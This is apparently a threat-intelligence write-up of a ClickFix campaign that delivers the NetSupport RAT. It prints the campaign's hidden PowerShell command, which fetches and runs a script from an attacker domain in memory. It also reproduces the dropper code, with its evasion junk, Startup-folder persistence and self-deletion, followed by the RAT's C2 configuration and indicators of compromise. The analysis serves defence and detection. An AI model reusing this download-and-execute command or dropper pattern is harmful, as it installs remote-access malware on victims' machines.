ClickFix - NetSupport RAT
ClickFix - NetSupport RAT
Incident Overview
On Saturday, Spetember 20th, 2025, A user visited a compromised domain serving a malicious redirect to a ClickFix campaign page. This campaign utilized a dynamic ClickFix template that builds legitimate appearing captcha turnstiles based on passed parameters. This specific ClickFix template has been covered in the article ClickFix - The RAT that almost got away. The campaign attempted to deliver a NetSupport RAT via a PowerShell loader. This loader is also a part of the kit, but some minor changes have occured between the previous incidents and this current campaign.
Technical Analysis
As this campaign has already been observed and documented, this article will focus more on the technical details of the loader.
The parameters for the ClickFix domain pulled the Target logo from Wikipedia and used a Target themed turnstile.
https://tuesdaysbride.com/pyr5/?msclkid=bb43c5a6e42b1c6b079dad682f45a8d7
https://dravix.cloud/index.php?logo=https:%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fc%2Fc7%2FTarget_(2018).svg&msclkid=bb43c5a6e42b1c6b079dad682f45a8d7&security_token=abcdef&site=www.target.com
PowerShell ClickFix Payload
The initial ClickFix command uses the System.Net.Http.HttpClient
.Net method for retrieving the PowerShell dropper script. This command uses a GET request to retrieve the raw bytes of the V.GRE
file. The resulting byte array is built into a string object via a call to Text.Encoding::UTF8.GetString
. The string is then executed in memory through an Invoke-Expression
call.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -nop -ep Bypass -c "Add-Type -AssemblyName System.Net.Http;$X=New-Object System.Net.Http.HttpClient;$U=$X.GetByteArrayAsync('https://lumexa.cloud/V.GRE').Result;iex ([Text.Encoding]::UTF8.GetString($U))"
PowerShell Dropper
The dropper follows the standard NetSupport RAT deployment methodology. The client files are encoded in a base46 array that is stored in the $AuGCW
variable. This array was decoded, revealing a JSON structure containing the client file names and base64 encoded byte arrays. The dropper utilised this JSON data structure to write the files to the disk. Following the file writes, the dropper attempts to create a shortcut file in the $env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\uclient.lnk
location. This would trigger the shortcut on startup. The shortcut is linked to the uclient.exe
binary that would put the machine in a listening state for incoming NetSupport remote access.
The dropper includes several evasion functions. There are various defined junk variables that contain random data strings that are not used by the script. These are typically included to add entropy and ensure that droppers are uniquely hashed. Additionally, the dropper includes a 780~ MB data stream attached at the end. This does nothing, but did crash my VS Code instance. Thank you for that.
The dropper also include a sleep function that runs 10 times, sleeping for 300 milliseconds each execution. This function tests that the NetSupport RAT files are in the proper locations. After the initial looping sleep function, the script sleeps for a random period between 500 and 2500 milliseconds. Following both sleeps, the dropper executes the uclient.exe
binary.
# Junk variables
$zblENL = "FCF948944F3565"
$idrmv = "F4958E96A3A"
$GLLk = "54835DACE131C7E18"
$zrSi = "AE02B1FB71CCFF0BB01ED81"
$YIDNc = "FAB59A93E5EE61F"
$yHlE = "0BDA2903359F5EF"
$LzrSIt = "3BB64523B5CE9388D4180C35B5"
$UIlAld = "326C3DBB379E7CB83"
$ewFPx = "43AEA661086134C03ECF545795B9"
$QeFaX = "573725D0C027B218DB099C5CD"
# Junk functions
Get-Random -Minimum 99999 -Maximum 999999 | Out-Null
Try { [void](1/0) } Catch {}
Write-Verbose 'Initializing...'
[System.Convert]::FromBase64String("QUtJUw==") | Out-Null
Start-Sleep -Seconds 20
# NetSupport RAT dropper functions
$AuGCW = @() # Base64 Array
$AuGCW = $AuGCW -replace '[~#@!]', ''
$HtxohJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($AuGCW)) # Converting the array to a string object
if ($HtxohJ) { $HtxohJ = ConvertFrom-Json $HtxohJ } # Converting string to JSON object
$nMMKB = "C:\Users\Public\7l4WM2lGyB" # Write path
If (!(Test-Path $nMMKB)) { [IO.Directory]::CreateDirectory($nMMKB) | Out-Null
(Get-Item $nMMKB).Attributes = 'Hidden, System' }
# Writing the NetSupport RAT files
foreach ($oclt in $HtxohJ.rpWRAL) {
$f = Join-Path $nMMKB $oclt.TesVm
$b64 = $oclt.WzUNz -replace '[~#@!]', ''
$raw = [System.Convert]::FromBase64String($b64)
[IO.File]::WriteAllBytes($f, $raw)
}
# Shortcut functions
$onbK = Join-Path $nMMKB 'uclient.exe'
$xSKnGI = New-Object -ComObject WScript.Shell
$iAiYHR = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\uclient.lnk"
$s = $xSKnGI.CreateShortcut($iAiYHR)
$s.TargetPath = $onbK
$s.WorkingDirectory = $nMMKB
$s.Save()
# Sleep functions
$wogUuf=0
while (!((Test-Path (Join-Path $nMMKB 'audiocapture.dll')) -and ((Get-Item (Join-Path $nMMKB 'audiocapture.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'tcctl32.dll')) -and ((Get-Item (Join-Path $nMMKB 'tcctl32.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'nskbfltr.inf')) -and ((Get-Item (Join-Path $nMMKB 'nskbfltr.inf')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'msvcr100.dll')) -and ((Get-Item (Join-Path $nMMKB 'msvcr100.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'htctl32.dll')) -and ((Get-Item (Join-Path $nMMKB 'htctl32.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'remcmdstub.exe')) -and ((Get-Item (Join-Path $nMMKB 'remcmdstub.exe')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'nsm.lic')) -and ((Get-Item (Join-Path $nMMKB 'nsm.lic')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'client32.ini')) -and ((Get-Item (Join-Path $nMMKB 'client32.ini')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'uclient.exe')) -and ((Get-Item (Join-Path $nMMKB 'uclient.exe')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'nsm_vpro.ini')) -and ((Get-Item (Join-Path $nMMKB 'nsm_vpro.ini')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'pcichek.dll')) -and ((Get-Item (Join-Path $nMMKB 'pcichek.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'pcicapi.dll')) -and ((Get-Item (Join-Path $nMMKB 'pcicapi.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'pcicl32.dll')) -and ((Get-Item (Join-Path $nMMKB 'pcicl32.dll')).Length -gt 0)) -and ($wogUuf -lt 10)) { Start-Sleep -Milliseconds 300
$wogUuf++ }
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 2500)
if ((Test-Path (Join-Path $nMMKB 'audiocapture.dll')) -and ((Get-Item (Join-Path $nMMKB 'audiocapture.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'tcctl32.dll')) -and ((Get-Item (Join-Path $nMMKB 'tcctl32.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'nskbfltr.inf')) -and ((Get-Item (Join-Path $nMMKB 'nskbfltr.inf')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'msvcr100.dll')) -and ((Get-Item (Join-Path $nMMKB 'msvcr100.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'htctl32.dll')) -and ((Get-Item (Join-Path $nMMKB 'htctl32.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'remcmdstub.exe')) -and ((Get-Item (Join-Path $nMMKB 'remcmdstub.exe')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'nsm.lic')) -and ((Get-Item (Join-Path $nMMKB 'nsm.lic')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'client32.ini')) -and ((Get-Item (Join-Path $nMMKB 'client32.ini')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'uclient.exe')) -and ((Get-Item (Join-Path $nMMKB 'uclient.exe')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'nsm_vpro.ini')) -and ((Get-Item (Join-Path $nMMKB 'nsm_vpro.ini')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'pcichek.dll')) -and ((Get-Item (Join-Path $nMMKB 'pcichek.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'pcicapi.dll')) -and ((Get-Item (Join-Path $nMMKB 'pcicapi.dll')).Length -gt 0) -and (Test-Path (Join-Path $nMMKB 'pcicl32.dll')) -and ((Get-Item (Join-Path $nMMKB 'pcicl32.dll')).Length -gt 0)) {
Start-Process explorer.exe -ArgumentList "C:\Users\Public\7l4WM2lGyB\uclient.exe" # Execution
}
# Clears the command definition automatic variable https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.5#myinvocation
$fZXhW = $MyInvocation.MyCommand.Definition
if ($fZXhW -and (Test-Path $fZXhW)) { Remove-Item $fZXhW -Force }
$sLqeV = "" # Junk data string
Extracting the NetSupport RAT files
In NetSupport RAT incidents, it is possible to retrieve the remote server from the client32.ini
file. This configuration file defines various properties of the client, including the connection properties. To extract the files, you can simply take the base64 encoded array, decode it, and write it to a JSON file.
$ErrorActionPreference="SilentlyContinue"
$AuGCW = @() # Base64 Array
try{
$HtxohJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($AuGCW))
}catch{
write "something went wrong"
}
Write-Host $HtxohJ
$HtxohJ > "mal_j.json"
This JSON file included all the client files as base64 arrays. Decoding the client32.ini
array revealed the configuration settings for the NetSupport RAT client.
0xb6d249e1
[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableClientConnect=1
DisableCloseApps=1
DisableDisconnect=1
DisableLocalInventory=1
DisableManageServices=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
HideWhenIdle=1
Protocols=3
RADIUSSecret=dgAAAPSxRohhni4yVdFYJZJFnyQA
RoomSpec=Eval
ScreenScrape=1
SendPhysicalFonts=0
Shared=1
silent=1
SKMode=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=0
Usernames=*
ValidAddresses.TCP=*
[_Info]
Filename=C:\Users\Administrator\Desktop\client32u.ini
[_License]
quiet=1
[Audio]
DisableAudioFilter=1
Threshold=48
[Bridge]
LoadOnStartup=1
Modem=
PasswordFile=C:\Program Files\NetSupport\NetSupport Manager\bridge.psw
Protocol=0
[General]
BeepUsingSpeaker=0
[HTTP]
CMPI=60
GatewayAddress=olbanha.com:443
gsk=GP=IBJGE<GADEN:D=KBAFI;E@MEO:O
gskmode=0
GSK=GP=IBJGE<GADEN:D=KBAFI;E@MEO:O
GSKX=GP=IBJGE<GADEN:D=KBAFI;E@MEO:O
Port=443
SecondaryGateway=ghostrio.com:443
SecondaryPort=443
Indicators
Indicator | Type | Description |
---|---|---|
https://tuesdaysbride.com | Domain | Compromised\Malvertising domain |
https://dravix.cloud | Domain | ClickFix domain |
lumexa.cloud | Domain | NetSupport RAT Dropper |
olbanha.com | Domain | NetSupport RAT Gateway Address |
ghostrio.com | Domain | NetSupport RAT Gateway Address |
B5027FC3E26AEAB2EBC044C8B3279CA93A3EF75BF522727ED6626F61097C8EEF | SHA-256 Hash | Hash of V.GRE |